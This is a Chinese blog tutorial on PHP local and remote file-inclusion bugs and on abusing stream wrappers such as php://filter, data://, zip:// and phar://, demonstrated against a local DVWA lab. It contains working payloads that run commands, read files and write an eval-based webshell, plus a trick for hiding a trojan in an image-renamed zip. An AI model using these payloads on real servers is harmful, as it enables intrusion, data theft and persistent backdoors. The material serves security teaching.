PHP伪协议之文件包含漏洞分析利用

allow_url_fopen = On  &&  allow_url_include = Off     此时才可以触发本地文件包含漏洞

allow_url_fopen = On  &&  allow_url_include = On     此时才可以触发远程文件包含漏洞

allow_url_fopen一直都是默认开启的,而allow_url_include从PHP5.2之后就是默认关闭的了

include() 产生一个警告而 require() 则导致一个致命错误

include()包含不到文件时还是会继续运行脚本,而require()包含文本时却又没有这个文本就会终止运行脚本。

源码1:

<?php
$file = $_GET[ 'page' ];
include($file);
?> 

分析:没有经过任何过滤,page参数可控,直接包含page参数的值。

源码2:

<?php 
$a=$_GET['page'];
$file =$a.'.php';
echo $file;
include($file);
 ?>

分析:可以看到固定了后缀名为.php,无论传入的参数是什么,都会再后面加上.php后缀名,导致无法成功的进行包含。

解决方法:使用%00截断

在PHP中使用%00:

1.PHP版本<5.3(不包括5.3);

2. PHP `magic_quotes_gpc = off`;

3.PHP不会在收到的参数中使用addslashes函数,例如上面代码中的$ _GET ['file'],不过在PHP版本5.3或更高版本中,此问题已得到解决。

远程文件包含:

条件:

1.在php.ini中需要allow_url_include = on和allow_url_fopen= on

2.所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php。(否则会加载远程主机的信息)

文件包含伪协议:

PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists() 和 filesize()的文件系统函数。

常见文件包含函数:
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file.

常见的伪协议:

php:// — 访问各个输入/输出流(I/O streams)

data:// — 数据(RFC 2397)

file:// — 访问本地文件系统

zlib:// — 压缩流

phar:// — PHP 归档

php://input(接收POST提交过来的值)

利用条件:

  1. allow_url_fopen=on 
  2. allow_url_include=on  
  3. php版本小于等于5.3.0

利用方式:

执行phpinfo();

getshell

php://filter

利用条件:

  1. allow_url_fopen=on
  2. allow_url_include没有要求

利用方式:

php://filter/read=convert.base64-encode/resource=./robots.txt

读取目标服务器文件内容,并讲这些内容进行base64编码,我们只需要解码就可以了。

data:text/plain
利用条件:

  1. allow_url_fopen=ON
  2. allow_url_include=ON
  3. php版本大于5.2

利用方式:

  1. data:text/plain,<?php phpinfo();?>
  2. data:text/plain,<?php system("whoami");?>
  3. data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>

查询信息:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>

执行命令:

getshell:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>

查看目录,shell写入成功:

data:text/plain;base64,

利用方式:同data:text/plain,但是需要进行base64编码和url编码。

信息查询:

1,使用了data:text/plain;base64,但是没有进行base64加密,所以报错

2,进行第一次base64加密之后产生的加号+导致了报错

3,对加号进行url进行编码

命令执行:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

 

phar://

phar://[压缩文件路径]/[压缩文件内的子文件名]

利用条件:

php版本大于等于5.3.0

利用方式:

利用思路:将一句话木马添加到压缩包2.zip中,然后将2.zip上传到目标服务器上。

使用:page=phar://2.zip/2.php

file:

利用条件:

对allow_url_fopen和allow_url_include不做要求

利用方式:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://E:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\shy.txt

zip//

zip://[压缩文件路径]#[压缩文件内的子文件名]

利用思路:将一句话木马添加到压缩包1.zip中,然后将1.zip重命名成1.jpg上传到目标服务器上。

使用:zip://1.jpg%231.php 执行一句话木马

 

 

  • 7
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值